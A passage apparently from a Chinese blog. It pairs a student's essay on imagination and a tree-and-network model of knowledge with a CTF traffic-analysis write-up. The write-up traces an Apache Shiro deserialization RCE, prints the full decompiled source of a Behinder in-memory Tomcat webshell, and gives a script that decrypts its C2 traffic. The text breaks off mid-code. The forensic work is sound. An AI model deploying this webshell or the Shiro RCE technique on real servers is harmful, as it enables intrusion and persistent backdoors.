顺着这个思路，我们甚至可以说，认知水平增加带来的真正挑战，不是失去“逻辑自洽”的能力，而是当知识体系过于庞大时，如何在其中维持维持“逻辑自洽”的活力——也就是，不让已有的知识框架变成束缚，让想象力依然能在缝隙中找到新的组合方式。

第二次深化：日常经验的边界

由上面的思考，我们不难想到，人们维持想象力的逻辑自洽，很大一部分立足于我们对世界的理解，立足于日常经验。这里引出一个新的问题：假如一个人的知识积累已经超过个人日常经验时，如何维持这种想象力上的逻辑自洽？也就是说，当我们了解的知识已经完全超出了我们理解的范畴，我们应该如何据此扩展和发散？

思考过程中发现，这个论题本身是不全面的。举两个例子：

对于我自己，我很享受构建计算机软件，搭建网络时设计和实现的过程，这在我的视角看来，是一件日常经验内的事情
对于我一个朋友，他很喜欢数学，对于他来说推导高数就是一件日常经验内的事情

上面这两个例子很好的阐述了：“日常经验”本身，就是一个随着认知水平变化而移动的标尺。
据此，我们可以推断：

认知重塑了“日常”的边界：对我朋友来说，享受推理高数的感觉，是因为高数的符号和逻辑已经融入了他的认知框架，成为他思维的一部分，因此他能在高数的逻辑中进行直觉性的想象和探索。对于我，折腾计算机，同样是基于我内化的知识体系，这个体系内的内容于我来说就如同日常经验。
想象力的多面性：当一个人在一个领域内拥有深厚的认知时，他在这个领域内的想象力活动，在旁观者看来可能是无法理解的创造，但对他自己而言，却可能只是一种“日常经验”式的、符合直觉的推演。想象力并没有消失，它已经渗透进了思维的底层，变成了一种在专业框架内娴熟地“逻辑自洽”并探索可能性的能力。外人看到的是“超越”，自己体验到的却是“日常”。

由此可以得出：这个论题是不全面的。它的问题在于预设了一个普遍平均水平的认知水平和日常经验标准，而实际上他们是高度个体化的。
认知水平的增加，意味着一个人能“超越日常经验”的领域在扩大。在别人看来天马行空的思考，对他而言是基于扎实理论的严谨推演；认知水平的增加，是把曾经“超越日常经验”的东西，不断转化为“日常经验”的过程。在这个过程中，想象力并没有减少，而是改变了形态——从一种无拘无束的幻想，变成了在现有框架内，符合逻辑的创造。

进而，我们可以得出，这种基于深厚认知的、“日常化”知识的想象力，与孩童时期那种基于常识和天真的想象力，本质上其实是一种东西，都是对未知的向往。但是因为二者受到的约束不同，前者受到完备知识体系的约束，后者受到对世界浅薄的物理规律的理解的约束，进而导致二者的表现形式完全不同。

小结

至此，我们已经总结出几个关键点：

想象力不是天马行空，而是在既有框架内寻求逻辑自洽
“日常经验”是一个移动的标尺，它代表了一个人可以灵活利用的知识体系的边界，同时也会随着一个人的学习而扩展
认知水平的提高，不是消灭想象力，而是重塑它赖以自洽的规则
因此，这个辩题的答案不可能是简单的增加或减少。它取决于认知增长的方式，以及观察者的视角。

模型建构

由上面的问题，我不禁想到，每个人的知识体系结构应该是怎么样的？我们是如何把零散的知识点，组织成一套能支撑“逻辑自洽”的体系的？又是如何在这个体系中借由创造力创造新内容的？

树状模型的引入

首先我想到的是图论结构：

各个知识点之间是分立的节点
学习的过程就是在创建新的节点
复习、应用是在将节点链接至现有的知识体系

据此可以解释，为什么只学习不练习并不能使我们很好的理解，因为没有建立连接的过程，该节点是孤立的，我们无法将知识点链接至已有知识体系，使得我们无法在遇到其他相关问题的时候联想至该知识点，也就是说无法内化为“日常经验”的范畴。

接着我发现，好像用这种模型解释知识之间的结构有些太过于平面了，实际的知识体系往往有严密的上下级、包含关系，进而我觉得可能树状结构更适合解释：

知识点往往存在明显的分级
知识点之间存在关联，包括推导、逆运用等上下级逻辑联系

据此，我尝试构建一个树状结构的知识图谱

节点是知识单元
边是逻辑关系，例如依赖、继承、实例化
根节点是底层原理/公理
叶节点是派生定理/现象/应用

构建知识结构的过程就是：

每个人都是在从自己所了解的单节点开始，学习新知识就是向上扩展自己的知识体系，向根节点探求
创新和想象力则是顺着已有的知识体系向下探求子节点
进而得出：我们知道的内容越多，我们越可以根据我们所拥有的节点向下继续发散更多枝丫。

基于当前模型，我们可以解释前面提到的“认知水平对创造力的约束”和为什么被动学习无法拓展创造力：

父节点约束子节点的内容：一个节点能长出什么样的子节点，不是随意的，必须满足父节点的逻辑约束和关联。想象力的发挥，本质上是在父节点知识体系允许的范围内，实例化新的合法节点。
被动学习：只是在树里增加了一些孤立节点，或者只建立了浅层的引用。这些节点虽然存在于知识树里，但它们没有向上联系到已有知识点。当需要靠想象力向下探索时，我们虽然知道它的存在，但它无法产生新的有效连接。

但是当前模型还是无法解释一些内容：

当前模型无法解释多个不同领域的知识
很多知识点是穿插关联，甚至跨界关联的。当前模型无法解释知识跨界应用的现象

因此，我在思考能否构建一个更完备的模型。

多根多树+图状连接

为了解释不同领域和跨界关联，我尝试引入最开始的图论结构，但是保留原有的树状结构：

人类的认知体系由多个独立的树状结构组成。不同树状结构代表不同领域的知识。
这些树状结构及其子节点之间通过网状连接相互关联，形成一个既具有层次深度、又具有横向连通性的复杂网络。
知识以节点和边的形式存在，而思维活动（学习、理解、想象、创造）本质上是对这个网络的遍历、重构与扩展。

模型建构

该模型由节点，边，根节点，树，树冠这些元素构成：

节点：知识的单元，可以是概念，事实，现象或者技能
边：代表节点之间的逻辑关系，其中又可以细分为两类：
1. 树边：即树内的继承、派生、因果关系（“是一种…”，“是…的一部分”，“可推导出…”）
2. 网边：即树间或者子节点节点间的关联性、类比性、可结合性（“类似于”，“可与…结合”，“象征”）
根：同上述树状结构的根，代表某个领域的底层原理或第一性假设，如物理定律之于物理学
树：由一个根节点和它的所有后代节点组成的层次结构。
- 树内部是完全逻辑自洽的
- 不同树的根节点之间不一定有推导关系，但子节点大概率存在推导关系
树冠：树的顶部区域，代表着某个领域的具体实践、现象、应用或者经验知识
- 树冠往往是网状连接的密集区域，因为具体实践往往包含多个领域的知识

运行机制

1. 学习

向上寻根：从一个节点出发，沿着树边向根追溯，理解其原理
向下抽枝：从一个节点出发，沿着树边向叶探索，思考其应用

2. 理解

同化：新节点找到合适的父节点，被挂载到现有树上
顺应：新节点无法挂载 $\rightarrow$ 调整根节点或重组枝干 $\rightarrow$ 重构树结构
跨树连接：新节点同时挂到多棵树，或在多棵树之间建立网边

3. 想象与创造

想象力的核心操作是：在两棵（或多棵）看似无关的树的节点之间，建立新的网边。

发现A树的某个节点和B树的某个节点可以连接
沿着这条新边，通过联想、综合运用等生长出原本不存在的新节点

4. 遗忘与失效

孤立节点：只有节点，没有与任何树建立有效边 $\rightarrow$ 无法被调用，无法参与创造，参与思维过程
弱连接：网边长期不用 $\rightarrow$ 权重下降 $\rightarrow$ 难以被激活 $\rightarrow$ 遗忘

性质

该模型具备如下性质：

层次性：每个树内部有明确的层次结构，根节点（原理/基本公理） $\rightarrow$ 子节点（核心推论） $\rightarrow$ 子节点（子领域） $\rightarrow$ 叶节点（现象/应用）
模块性：每棵树相对独立，可以单独生长
连通性：树之间的任意节点可以基于联想、跨界应用相互联系，但由于根节点特性，一般是子节点和叶节点之间能够互相联系
生长性：
- 纵向生长：在树内部的知识体系下向根节点方向学习知识，向子节点方向扩展应用
- 横向生长：跨树之间通过联想、综合运用等创造新的知识或者应用
鲁棒性与脆弱性：
- 单棵树的一部分受损，不影响其他树体系的运作
- 某棵树的根节点证伪，导致整棵树失效，会牵连一大部分与之相互交织的邻居

树的部分：保证了逻辑结构

树结构提供的是层次和推导关系，是纵向连接：

根节点 $\rightarrow$ 子节点 $\rightarrow$ 孙节点，代表了从原理到现象的演绎路径
向上寻根是探求原理，向下抽枝是探索实践应用
树的存在，让思维能够抽象成完整体系，而不至于变成一盘散沙

图的部分：解释了跨界现象

网状连接提供的是逻辑关联和涌现性，是横向连接：

A树的某个节点，可以直接挂到B树的某个节点上
这种跨树连接，就是类比、隐喻、跨界创新的体现

个人认为这种结构其实能较为全面的解释当今的知识体系的运行和联系。比如，近代史中“地心说”被证伪，连带其当时基于此理论建立的所有天文学的内容都经历了重构。同时，填鸭式的学习只输入孤立节点，不建立足够连接，因此无法正常运用。

现象解释

想象力的涌现：有深度的创新，往往不是在一棵树上向下深挖得到的，而是把A树的某个子节点，挂载到了B树的某个子节点上，据此创造新的内容。这种跨树连接越多，能向下探的新枝丫就越丰富。
融会贯通：本质上是做跨树索引。普通人可能只在单一树内建立连接，比如“数据结构树”里的“数组”和“链表”；但高手会在“数据结构树”的“哈希表”和“计算机物理架构”的“缓存”之间建立连接，然后生出“缓存友好的哈希表设计”这样的新节点。
孤立节点的重利用：一个节点在它原本的树里是孤立的，但后来随着知识面拓展突然找到了挂载点，以此得到运用和理解

同时，这个模型也解释了最初的问题：想象力消失了吗？不，它只是换了一种形式存在。

可视化

亲身经历

让我来举个我自己的例子吧（
我以前一直不能理解，国际互联网为什么是“网”。我对互联网的认知，局限于自家路由器那种完全的树状结构。我不能理解的是，按照这样递推，那么全球就会有一个超级路由器负责最根本的数据转发，这显然是不符合物理规律的。
后来我自学探求了BGP，OSPF之类的路由协议，我突然能够理解为什么是网了。BGP和OSPF完美诠释了路由如何在网状结构中传递，使得我对互联网理解有了本质提升。据此理解，我利用ZeroTier，Bird之类的工具，自行搭建了一套完整的SD-WAN，构建起了可以多跳可达的大内网。

这个例子能够很好的嵌入这个模型：

旧认知：中心模型（全球必须有一个超级路由器）
认知冲突：这个模型推导出的结论不符合现实
新知识接入：BGP、OSPF
认知重构：理解了互联网是“网状连接”结构
创造：基于新模型，用ZeroTier、Bird搭建SD-WAN

局限性与边界

从始至终，我一直在尝试用理性分析来构建模型，然后我也发现一些现象无法依据该模型解释，比如情绪和情感。它脱离逻辑边而单独存在，也无法依据现有模型解释。情绪和情感在学习过程中往往决定着学习的方向，决定着我们如何从学习中取得我们想要的成果。因此我认为它也应当被考虑，但是当前模型无法解析。
同时，它也存在一些逻辑漏洞，比如：

在这个树+网的混合结构里，根节点到底是什么？是客观原理，还是主观的第一性信念？
建立连接的上限是什么？有没有可能过度连接？如果网边太多太密，会不会反而让树的结构模糊、思维失去方向？
好奇心本身在这个模型里是什么？是驱动遍历的动力，还是某种“预判哪里有新连接”的直觉？

后续

我将这套自己整理的小模型发给 AI 分析，它提到了图式理论、心智模型、联结主义、知识图谱、建构主义和复杂网络等方向。这些可以作为继续阅读的线索，但我还没有逐一查阅原始资料，不能据此认定它们与上面的模型等价，也不能把自己的类比称为对现有理论的修正。

暂时把几个想继续了解的问题记在这里：

图式理论与心智模型：人如何把新知识纳入已有理解，又如何在遇到冲突时调整理解？这和我用 BGP 学习经历举的例子可能有联系。
联结主义与知识表示：不同理论中的“节点”和“连接”分别代表什么？仅仅都画成网络，并不意味着描述的是同一种机制。
语义网络与知识图谱：怎样区分“是一种”“是一部分”“可以推导出”和“让我联想到”等不同关系？上面的模型把它们放在一起，可能掩盖了重要差别。
建构主义：怎样区分接触过信息、理解它和能在新问题中使用它？主动或被动学习，也不一定能简单对应为有连接或孤立的节点。
复杂网络：如果想讨论无标度或层次模块等性质，需要怎样的数据和检验？目前的示意图还不能证明人的知识结构具有这些性质。

能联想到这些方向，让我觉得这次思考值得继续。不过，AI 给出的肯定本身不是论据；上面的树和网络暂时只是帮助我整理个人经验的一种比喻。

写这篇文章，也是想记录下自己brainstorm的一次经历。我觉得它的价值不在于最后的模型，而是建构和推理的过程。
P.S. 我不是专业的心理学家或者思想家，只是一个普普通通的计算机学生。这篇文章纯粹是自己思考的时候突然想到。若存在逻辑漏洞还请各位大佬手下留情~

2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp

Sun, 15 Mar 2026 12:20:00 GMT

第一层: Apache Shiro CVE-2016-4437

打开pcapng抓包文件，发现大部分都是HTTP。尝试过滤所有HTTP请求：

_ws.col.protocol == "HTTP"

发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico，打开发现携带Payload：

POST /favicondemo.ico HTTP/1.1
...

eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...

尝试直接Base64解密，发现疑似加密了，无法解密。推测前面还有一部分挂马之类的处理。尝试过滤所有POST请求：

http.request.method == "POST"

发现第5009个HTTP流POST向了/，打开发现：

GET / HTTP/1.1
Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL
...

HTTP/1.1 302
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT
Location: http://10.1.33.69:8080/login
...

等等一系列请求。根据其JSESSIONID可知是Java后端，根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞（CVE-2016-4437）。前面部分在进行爆破，尝试得到其AES加密的Key。往后翻，可找到：

GET / HTTP/1.1
Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X
...

服务端返回：

HTTP/1.1 302
Location: http://10.1.33.69:8080/login
...

没有再Set-Cookie，表明这里已经成功碰撞出了AES密钥。往后还有

GET / HTTP/1.1
Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p
Authorization: Basic d2hvYW1p
...

服务端返回：

HTTP/1.1 200
...

$$$cm9vdAo=$$$

对cm9vdAo=进行Base64解密，可得到：root，对Authorization头里的d2hvYW1p解密，可得到whoami，发现这里已经实现了RCE。随后分别执行并返回了：

pwd
/

ls -la
total 21844
drwxr-xr-x   1 root root     4096 Jan  6 03:43 .
drwxr-xr-x   1 root root     4096 Jan  6 03:43 ..
-rwxr-xr-x   1 root root        0 Jan  6 03:43 .dockerenv
drwxr-xr-x   1 root root     4096 Oct 21  2016 bin
drwxr-xr-x   2 root root     4096 Sep 12  2016 boot
drwxr-xr-x   5 root root      340 Jan  6 03:43 dev
drwxr-xr-x   1 root root     4096 Jan  6 03:43 etc
drwxr-xr-x   2 root root     4096 Sep 12  2016 home
drwxr-xr-x   1 root root     4096 Oct 31  2016 lib
drwxr-xr-x   2 root root     4096 Oct 20  2016 lib64
drwxr-xr-x   2 root root     4096 Oct 20  2016 media
drwxr-xr-x   2 root root     4096 Oct 20  2016 mnt
drwxr-xr-x   2 root root     4096 Oct 20  2016 opt
dr-xr-xr-x 167 root root        0 Jan  6 03:43 proc
drwx------   2 root root     4096 Oct 20  2016 root
drwxr-xr-x   3 root root     4096 Oct 20  2016 run
drwxr-xr-x   2 root root     4096 Oct 20  2016 sbin
-rw-r--r--   1 root root 22290368 Dec 19  2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x   2 root root     4096 Oct 20  2016 srv
dr-xr-xr-x  13 root root        0 Jan  6 03:43 sys
drwxrwxrwt   1 root root     4096 Jan  6 03:43 tmp
drwxr-xr-x   1 root root     4096 Oct 31  2016 usr
drwxr-xr-x   1 root root     4096 Oct 31  2016 var

w
 05:56:48 up 9 days,  2:03,  0 users,  load average: 1.44, 0.84, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

发现并没有什么有用的信息。之后发送了一个：

POST / HTTP/1.1
...
Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
...

user=yv66vgAAADQB5...GCQ%3D%3D

服务端返回了：

HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 06 Jan 2026 05:57:43 GMT
Connection: close

->|Success|<-

之后就没有类似的包了，推测是挂了个马。

第二层: 冰蝎 WebShell 内存马

对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类，导出后尝试使用Jadx打开，可得到：

代码部分 - 点击展开

package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
  
/* loaded from: download.class */
public final class BehinderFilter extends ClassLoader implements Filter {
    public HttpServletRequest request;
    public HttpServletResponse response;
    public String cs;
    public String Pwd;
    public String path;

    public BehinderFilter() {
        this.request = null;
        this.response = null;
        this.cs = "UTF-8";
        this.Pwd = "eac9fa38330a7535";
        this.path = "/favicondemo.ico";
    }
  
    public BehinderFilter(ClassLoader c) {
        super(c);
        this.request = null;
        this.response = null;
        this.cs = "UTF-8";
        this.Pwd = "eac9fa38330a7535";
        this.path = "/favicondemo.ico";
    }
  
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
  
    public static String md5(String s) throws NoSuchAlgorithmException {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);
        } catch (Exception e) {
        }
        return ret;
    }
  
    public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        parseObj(obj);
        this.Pwd = md5(this.request.getHeader("p"));
        this.path = this.request.getHeader("path");
        StringBuffer output = new StringBuffer();
        try {
            this.response.setContentType("text/html");
            this.request.setCharacterEncoding(this.cs);
            this.response.setCharacterEncoding(this.cs);
            output.append(addFilter());
        } catch (Exception var7) {
            output.append("ERROR:// " + var7.toString());
        }
        try {
            this.response.getWriter().print("->|" + output.toString() + "|<-");
            this.response.getWriter().flush();
            this.response.getWriter().close();
            return true;
        } catch (Exception e) {
            return true;
        }
    }
  
    public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        if (obj.getClass().isArray()) {
            Object[] data = (Object[]) obj;
            this.request = (HttpServletRequest) data[0];
            this.response = (HttpServletResponse) data[1];
            return;
        }
        try {
            Class clazz = Class.forName("javax.servlet.jsp.PageContext");
            this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
            this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
        } catch (Exception e) {
            if (obj instanceof HttpServletRequest) {
                this.request = (HttpServletRequest) obj;
                try {
                    Field req = this.request.getClass().getDeclaredField("request");
                    req.setAccessible(true);
                    HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
                    Field resp = request2.getClass().getDeclaredField("response");
                    resp.setAccessible(true);
                    this.response = (HttpServletResponse) resp.get(request2);
                } catch (Exception e2) {
                    try {
                        this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
                    } catch (Exception e3) {
                    }
                }
            }
        }
    }
  
    public String addFilter() throws Exception {
        Class filterMap;
        ServletContext servletContext = this.request.getServletContext();
        String filterName = this.path;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            StandardContext standardContext = null;
            Field stateField = null;
            try {
                try {
                    Field contextField = servletContext.getClass().getDeclaredField("context");
                    contextField.setAccessible(true);
                    ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
                    Field contextField2 = applicationContext.getClass().getDeclaredField("context");
                    contextField2.setAccessible(true);
                    standardContext = (StandardContext) contextField2.get(applicationContext);
                    stateField = LifecycleBase.class.getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);
                    filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                    Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, (Object[]) null);
                    stateField.set(standardContext, LifecycleState.STARTED);
                    try {
                        filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Exception e) {
                        filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                    }
                    Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);
                    Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object filterMapObj = filterMaps[i];
                        Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]);
                        String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);
                        if (name.equalsIgnoreCase(filterName)) {
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMapObj;
                        }
                    }
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return "Success";
                } catch (Exception var22) {
                    String var11 = var22.getMessage();
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return var11;
                }
            } catch (Throwable th) {
                stateField.set(standardContext, LifecycleState.STARTED);
                throw th;
            }
        }
        return "Filter already exists";
    }
  
    /* JADX WARN: Multi-variable type inference failed */
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {
        HttpSession session = ((HttpServletRequest) req).getSession();
        ServletRequest servletRequestInvoke = req;
        ServletResponse servletResponseInvoke = resp;
        if (!(servletRequestInvoke instanceof RequestFacade)) {
            try {
                Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]);
                servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);
                while (!(servletRequestInvoke instanceof RequestFacade)) {
                    servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);
                }
            } catch (Exception e) {
            }
        }
        try {
            if (!(servletResponseInvoke instanceof ResponseFacade)) {
                Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]);
                servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);
                while (!(servletResponseInvoke instanceof ResponseFacade)) {
                    servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);
                }
            }
        } catch (Exception e2) {
        }
        Map obj = new HashMap();
        obj.put("request", servletRequestInvoke);
        obj.put("response", servletResponseInvoke);
        obj.put("session", session);
        try {
            session.putValue("u", this.Pwd);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
            new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }
  
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
  
    public void init(FilterConfig filterConfig) throws ServletException {
    }
  
    public void destroy() {
    }
}

发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密，同时若请求头中携带p，就将p的内容md5加密之后取前16位作为AES密钥。
根据上面的请求内容可知p: HWmc2TLDoihdlr0N，md5加密得到1f2c8075acd3d118674e99f8e61b9596，取前16位即1f2c8075acd3d118就是AES密码。
同时，设置了/favicondemo.ico作为C2通信地址，这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。

接着打开之前找到的POST抓包，发现第40552个HTTP Stream内包含大量往返。
编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload：

import Crypto.Cipher
from Crypto.Cipher import AES
import base64

def decrypt_behinder(data, key_str):
    key = key_str.encode('utf-8')
    raw_data = base64.b64decode(data)
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(raw_data)
    # 去除 PKCS5Padding
    padding_len = decrypted[-1]
    return decrypted[:-padding_len]

key = "1f2c8075acd3d118"
body = "qjYfBvYIRKQ...ciIgehs="

data=decrypt_behinder(body, key)
print(data)
with open(f"payload2.bin", "wb") as file:
	file.write(data)

发现开头CAFEBABE是Java Class的文件头。用Jadx打开：

代码部分 - 点击展开

内容很长，不想看可以折叠

package net.qmrqiui;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: Echo.java */
/* loaded from: payload-favicondemo.ico.class */
public class Fmdrfajtrr {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class<?> cls = Class.forName("java.util.Base64");
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
        }
        return bArrDoFinal;
    }

    public Fmdrfajtrr() {
        content = "";
        content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v";
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map<String, String> result = new LinkedHashMap<>();
        try {
            try {
                fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                try {
                    Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    Method write = so.getClass().getMethod("write", byte[].class);
                    write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                    so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                    return true;
                } catch (Exception e) {
                    e.printStackTrace();
                    return true;
                }
            } catch (Exception e2) {
                result.put("msg", e2.getMessage());
                result.put("status", "success");
                try {
                    Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    Method write2 = so2.getClass().getMethod("write", byte[].class);
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
                    so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
                    return true;
                } catch (Exception e3) {
                    e3.printStackTrace();
                    return true;
                }
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod("write", byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
                e4.printStackTrace();
            }
            throw th;
        }
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append("\"" + key + "\":\"");
            String value = entity.get(key);
            if (encode) {
                value = base64encode(value.getBytes());
            }
            sb.append(value);
            sb.append("\",");
        }
        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }
        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map<String, Object> objMap = (Map) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
